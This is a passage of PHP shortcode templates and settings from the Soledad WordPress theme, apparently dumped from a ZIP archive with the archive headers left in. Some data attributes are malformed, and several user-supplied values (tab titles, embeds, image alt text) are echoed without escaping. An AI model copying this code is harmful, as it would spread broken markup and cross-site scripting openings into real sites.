	echo '<div class="penci-notice penci-info">' . esc_html__( 'You must select your brand attribute in Appearance -> Customize -> WooCommerce > Brands', 'soledad' ) . '</div>';

	return;
}

$settings['columns']         = isset( $settings['columns'] ) ? $settings['columns'] : 3;
$settings['slides_per_view'] = isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3;

$owl_attributes = '';

$item_class          = [];
$wrapper_class       = [];
$wrapper_id          = $carousel_id;
$items_wrapper_class = [];
$items_wrapper_data  = [];
$wrapper_class[]     = 'brands-items-wrapper';
$wrapper_class[]     = 'brands-widget';
$wrapper_class[]     = 'slider-' . $carousel_id;
$wrapper_class[]     = 'brands-hover-' . $settings['hover'];
$wrapper_class[]     = 'brands-style-' . $settings['brand_style'];

if ( $settings['style'] ) {
	$element_class[] = 'brands-' . $settings['style'];
}

if ( 'carousel' === $settings['style'] ) {
	$settings['scroll_per_page'] = 'yes';
	$settings['carousel_id']     = $carousel_id;
	$owl_attributes              = '';

	$wrapper_class[]       = 'penci-carousel-container';
	$items_wrapper_class[] = 'penci-owl-carousel penci-owl-carousel-slider swiper';

	$item_class[]          = 'swiper-slide';


	$items_wrapper_data[] = 'data-item="' . ( isset( $settings['slides_per_view'] ) ? $settings['slides_per_view'] : 3 ) . '"';
	$items_wrapper_data[] = 'data-dots"' . $settings['hide_pagination_control'] . '"';
	$items_wrapper_data[] = 'data-nav"' . $settings['hide_prev_next_buttons'] . '"';
	$items_wrapper_data[] = 'data-loop"' . $settings['wrap'] . '"';
	$items_wrapper_data[] = 'data-auto"' . $settings['autoplay'] . '"';
	$items_wrapper_data[] = 'data-speed"' . $settings['speed'] . '"';
	$items_wrapper_data[] = 'data-lazy"' . $settings['scroll_carousel_init'] . '"';

	if ( 'yes' === $settings['scroll_carousel_init'] ) {
		$wrapper_class[] = 'scroll-init';
	}

	if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
		$wrapper_class[] = 'disable-owl-mobile';

	}
} else {
	$item_class[]          = 'column-item';
	$items_wrapper_class[] = 'penci-custom-row row-' . $settings['columns'];
}

$args = array(
	'taxonomy'   => $attribute,
	'hide_empty' => $settings['hide_empty'],
	'order'      => $settings['order'],
	'number'     => $settings['number'],
);

if ( $settings['orderby'] ) {
	$args['orderby'] = $settings['orderby'];
}

if ( 'random' === $settings['orderby'] ) {
	$args['orderby'] = 'id';
	$brand_count     = wp_count_terms( $attribute, array(
		'hide_empty' => $settings['hide_empty'],
	) );

	$offset = rand( 0, $brand_count - (int) $settings['number'] );
	if ( $offset <= 0 ) {
		$offset = '';
	}
	$args['offset'] = $offset;
}

if ( $settings['ids'] ) {
	$args['include'] = $settings['ids'];
}

$brands   = get_terms( $args );
$taxonomy = get_taxonomy( $attribute );

if ( 'random' === $settings['orderby'] ) {
	shuffle( $brands );
}

if ( penci_is_shop_on_front() ) {
	$link = home_url();
} else {
	$link = get_post_type_archive_link( 'product' );
}

?>
    <div <?php echo implode( ' ', $wrapper_class ); ?>>
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
        <div <?php echo implode( ' ', $items_wrapper_class ); ?> <?php echo implode( ' ', $items_wrapper_data ); ?>>
        	<div class="swiper-wrapper">
			<?php if ( ! is_wp_error( $brands ) && count( $brands ) > 0 ) : ?>
				<?php foreach ( $brands as $key => $brand ) : ?>
					<?php
					$image       = get_term_meta( $brand->term_id, 'image', true );
					$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attribute ) );

					if ( is_object( $taxonomy ) && $taxonomy->public ) {
						$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
					} else {
						$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
					}

					?>

                    <div <?php echo implode( ' ', $item_class ); ?>>
                        <a title="Brand <?php echo esc_html( $brand->name ); ?>"
                           href="<?php echo esc_url( $attr_link ); ?>">
							<?php if ( 'list' === $settings['style'] || ! $image ) : ?>
                                <span class="brand-title-wrap">
										<?php echo esc_html( $brand->name ); ?>
									</span>
							<?php else : ?>
								<?php echo '<img src="' . wp_get_attachment_image_url( $image, 'full' ) . '" alt="' . $brand->name . '" title="' . $brand->name . '">'; ?>
							<?php endif; ?>
                        </a>
                    </div>
				<?php endforeach; ?>
			<?php endif; ?>
			</div>
        </div>
    </div>
<?php
PK     N\Kh  h  3  inc/js_composer/shortcodes/product_tab/settings.phpnu [        <?php
vc_map(
	array(
		'name'                    => penci_get_theme_name('Penci').' '.esc_html__( 'Products tab', 'soledad' ),
		'base'                    => 'penci_product_tab',
		'as_child'                => array( 'only' => 'penci_products_tabs' ),
		'content_element'         => true,
		'show_settings_on_create' => true,
		'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_tab/frontend.php',
		'category'                => penci_get_theme_name('Soledad'),
		'description'             => esc_html__( 'Product tabs for your marketplace', 'soledad' ),
		'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'params'                  => array_merge( array(
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Tab Title', 'soledad' ),
				'param_name'  => 'title',
				'admin_label' => true,
			),
			/**
			 * Icon
			 */
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Icon for the tab', 'soledad' ),
				'param_name'       => 'icon',
				'hint'             => esc_html__( 'Select icon from media library.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Icon size', 'soledad' ),
				'param_name'       => 'icon_size',
				'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			)
		), penci_get_products_shortcode_params() )
	)
);
PK     N\1U    3  inc/js_composer/shortcodes/product_tab/frontend.phpnu [        <?php
if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$output                = $class = $autoplay = $header_classes = $design = $responsive_spacing = '';
$item_vertical_spacing = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';
$atts                  = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
$block_id          = Penci_Vc_Helper::get_unique_id_block( 'penci_product_tabs' );
$atts['elementor'] = false;
$id_product        = '#' . $block_id;

$img_id  = preg_replace( '/[^\d]/', '', $image );
$tabs_id = 'penci-tab-' . uniqid();

// Extract tab titles
preg_match_all( '/penci_product_tab([^\]]+)/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();

if ( isset( $matches[1] ) ) {
	$tab_titles = $matches[1];
}

$tabs_nav        = '';
$first_tab_title = '';
$tabs_nav        .= '<ul class="products-tabs-title">';
$_i              = 0;
foreach ( $tab_titles as $tab ) {
	$_i ++;
	$tab_atts                       = shortcode_parse_atts( $tab[0] );
	$tab_atts['carousel_js_inline'] = 'yes';
	$encoded_atts                   = wp_json_encode( array_intersect_key( array_merge( $atts, $tab_atts ), penci_custom_product_query_default_args() ) );
	$icon_output                    = '';

	if ( empty( $tab_atts['icon_size'] ) ) {
		$tab_atts['icon_size'] = '25x25';
	}

	// Tab icon
	if ( isset( $tab_atts['icon'] ) ) {
		$icon_output = penci_display_icon( $tab_atts['icon'], $tab_atts['icon_size'], 25 );
	}

	if ( $_i == 1 && isset( $tab_atts['title'] ) ) {
		$first_tab_title = $tab_atts['title'];
	}
	$class = ( $_i == 1 ) ? ' active-tab-title' : '';
	if ( isset( $tab_atts['title'] ) ) {
		$query_id = strtolower( sanitize_title_with_dashes( $tab_atts['title'] ) );
		$tabs_nav .= '<li data-queryid="' . esc_attr( $query_id ) . '" data-layout="' . esc_attr( $atts['layout'] ) . '" data-atts="' . esc_attr( $encoded_atts ) . '" class="' . esc_attr( $class ) . '">' . $icon_output . '<span class="tab-label">' . $tab_atts['title'] . '</span></li>';
	}
}

$tabs_nav .= '</ul>';

$class .= ' tabs-' . $tabs_id;

$class .= ' tabs-design-' . $design;

$class .= ' ' . $el_class;

$class .= 'penci-products-tabs';

$header_classes .= ' text-' . $alignment;

?>
    <div class="elementor-element elementor-widget-container penci-product-tabs-wrapper woocommerce">
        <div id="<?php echo esc_attr( $tabs_id ); ?>"
             class="penci-products-tabs<?php echo esc_attr( $class ); ?>">
            <div class="penci-tabs-header<?php echo esc_attr( $header_classes ); ?>">
				<?php if ( ! empty( $title ) ) : ?>
                    <h4 class="tabs-name title">
						<?php
						if ( $img_id ) {
							echo penci_display_icon( $img_id, $img_size, 30 );
						}
						?>
                        <span class="tabs-text"><?php echo wp_kses( $title, penci_allow_html() ); ?></span>
                    </h4>
				<?php endif; ?>
                <div class="tabs-navigation-wrapper">
                    <span class="open-title-menu"><?php echo wp_kses( $first_tab_title, penci_allow_html() ); ?></span>
					<?php
					echo ! empty( $tabs_nav ) ? $tabs_nav : '';
					?>
                </div>
            </div>
            <div class="penci-tab-content-container">
                <div class="penci-products-preloader">
                <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                            class="bubble"></span></span>
                </div>
				<?php
				if ( isset( $tab_titles[0][0] ) ) {
					$first_tab_atts          = array_intersect_key( array_merge( $atts, shortcode_parse_atts( $tab_titles[0][0] ) ), penci_custom_product_query_default_args() );
					$first_tab_atts['class'] = 'active';
					penci_elementor_products_template( $first_tab_atts );
				}
				?>
            </div>

			<?php
			if ( $color ) {
				$css = '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .tabs-name {';
				$css .= 'border-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-default .products-tabs-title .tab-label:after,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-alt .products-tabs-title .tab-label:after {';
				$css .= 'background-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .products-tabs-title li.active-tab-title,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .penci-owl-nav > div:hover,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .wrap-loading-arrow > div:not(.disabled):hover {';
				$css .= 'color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				wp_add_inline_style( 'penci-woocommerce', $css );
			}
			?>
        </div>
    </div>

<?php
$css_custom = '';
if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_product, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\S&  &  2  inc/js_composer/shortcodes/text_block/settings.phpnu [        <?php
vc_map( array(
	'base'          => 'penci_text_block',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/text_block/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Text Block', 'soledad' ),
	'description'   => __( 'A block of text with WYSIWYG editor', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type' => 'textarea_html',
				'holder' => 'div',
				'heading' => __( 'Text', 'soledad' ),
				'param_name' => 'content',
				'value' => __( '<p>I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.</p>', 'soledad' ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\L3~  ~  2  inc/js_composer/shortcodes/text_block/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-text-block';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'text_block' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<?php echo wpb_js_remove_wpautop( $content, true ); ?>
		</div>
	</div>
<?php
$id_facebook_page = '#' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_facebook_page, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_facebook_page, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\	  	  :  inc/js_composer/shortcodes/pc_single_featured/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_featured",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_featured/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Featured Image', 'soledad' ),
	'description'   => 'Post Builder - Featured Image',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'penci_single_custom_thumbnail_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'penci_single_custom_thumbnail_msize',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Autoplay on Slider', 'soledad' ),
			'param_name'       => 'penci_disable_autoplay_single_slider',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Image Caption', 'soledad' ),
			'param_name'       => 'penci_post_gallery_caption',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Image Lightbox', 'soledad' ),
			'param_name'       => 'penci_disable_lightbox_single',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Caption Color', 'soledad' ),
			'param_name'       => 'caption_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Caption Background Color', 'soledad' ),
			'param_name'       => 'caption_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\]=)  )  :  inc/js_composer/shortcodes/pc_single_featured/frontend.phpnu [        <?php
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class      = vc_shortcode_custom_css_class( $settings['css'] );
$simage_df_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
$simage_size    = $settings['penci_single_custom_thumbnail_size'] ? $settings['penci_single_custom_thumbnail_size'] : $simage_df_size;
if ( penci_is_mobile() ) {
	$simage_size = $settings['penci_single_custom_thumbnail_msize'] ? $settings['penci_single_custom_thumbnail_msize'] : 'penci-masonry-thumb';
}
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );

	$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
	$image_height = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
}
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_featured' );
$css_custom = '';
echo '<div id="' . $block_id . '" class="' . $css_class . '">';
if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
    <div class="standard-post-special post-image<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
		<?php if ( has_post_thumbnail() ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="standard-content-special">
            <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
				echo ' penci-format-quote';
			} else {
				echo ' penci-format-link';
			} ?>">
                <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                <p class="dt-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) {
						$dt_content = get_post_meta( get_the_id(), '_format_quote_source_name', true );
						if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
					} else {
						$dt_content = get_post_meta( get_the_id(), '_format_link_url', true );
						if ( ! empty( $dt_content ) ):
							echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
						endif;
					}
					?>
                </p>
				<?php
				if ( penci_get_post_format( 'quote' ) ):
					$quote_author = get_post_meta( get_the_id(), '_format_quote_source_url', true );
					if ( ! empty( $quote_author ) ):
						echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
					endif;
				endif; ?>
            </div>
        </div>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( get_the_id(), '_format_gallery_images', true ); ?>

	<?php if ( $images ) :
		$autoplay = ! $settings['penci_disable_autoplay_single_slider'] ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $simage_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="item-link-relative penci-swiper-mask">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
									<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                    <img class="penci-lazy"
                                         src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                         width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                         data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         width="<?php echo $the_image[1]; ?>" height="<?php echo $the_image[2]; ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( $settings['penci_post_gallery_caption'] && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

    <div class="post-image">
		<?php $penci_video = get_post_meta( get_the_id(), '_format_video_embed', true ); ?>
		<?php if ( wp_oembed_get( $penci_video ) ) : ?>
			<?php echo wp_oembed_get( $penci_video ); ?>
		<?php else : ?>
			<?php echo $penci_video; ?>
		<?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

    <div class="standard-post-image post-image audio<?php if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) : echo ' no-thumbnail'; endif; ?>">
		<?php if ( has_post_thumbnail() ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="audio-iframe">
			<?php $penci_audio = get_post_meta( get_the_id(), '_format_audio_embed', true );
			$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
			<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
				<?php echo wp_oembed_get( $penci_audio ); ?>
			<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
				<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
			<?php else : ?>
				<?php echo $penci_audio; ?>
			<?php endif; ?>
        </div>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() ) : ?>

        <div class="post-image">
			<?php
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( get_the_id() ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
				?>
				<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                    <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                         data-sizes="<?php echo penci_image_datasize( $simage_size, 'penci-masonry-thumb' ); ?>"
                         data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size, 'penci-masonry-thumb' ); ?>"
                         data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
				<?php } else { ?>
					<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
				<?php } ?>
				<?php
				echo '</a>';
			} else {
				?>
				<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                    <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                         data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
				<?php } else { ?>
					<?php the_post_thumbnail( $simage_size, array( 'class' => 'pc-singlep-img' ) ); ?>
				<?php } ?>
				<?php
			}
			if ( get_the_post_thumbnail_caption() && $settings['penci_post_gallery_caption'] ) {
				echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
			}
			?>
        </div>

	<?php endif; ?>

<?php endif;
echo '</div>';
$css = [
	'caption_color'   => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'color:{{VALUE}}' ],
	'caption_bgcolor' => [ '{{WRAPPER}} .penci-single-gallery-captions' => 'background-color:{{VALUE}}' ]
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\Y-  -  9  inc/js_composer/shortcodes/pc_single_content/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_content",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_content/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Content', 'soledad' ),
	'description'   => 'Post Builder - Content',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Blockquote Style', 'soledad' ),
			'param_name'       => 'block_style',
			'value'            => array(
				'style-1' => 'style-1',
				'Style 2' => 'style-2',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'main-text-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'main-link-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'main-link-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H1 Color', 'soledad' ),
			'param_name'       => 'content-h1-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H2 Color', 'soledad' ),
			'param_name'       => 'content-h2-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H3 Color', 'soledad' ),
			'param_name'       => 'content-h3-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H4 Color', 'soledad' ),
			'param_name'       => 'content-h4-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H5 Color', 'soledad' ),
			'param_name'       => 'content-h5-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'H6 Color', 'soledad' ),
			'param_name'       => 'content-h6-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\g>o
  
  9  inc/js_composer/shortcodes/pc_single_content/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_style = $settings['block_style'];
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_content' );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
$css_custom  = '';
?>
    <article class="post">
        <div id="<?php echo $block_id; ?>" class="post-entry <?php echo $css_class . ' blockquote-' . $block_style; ?>">
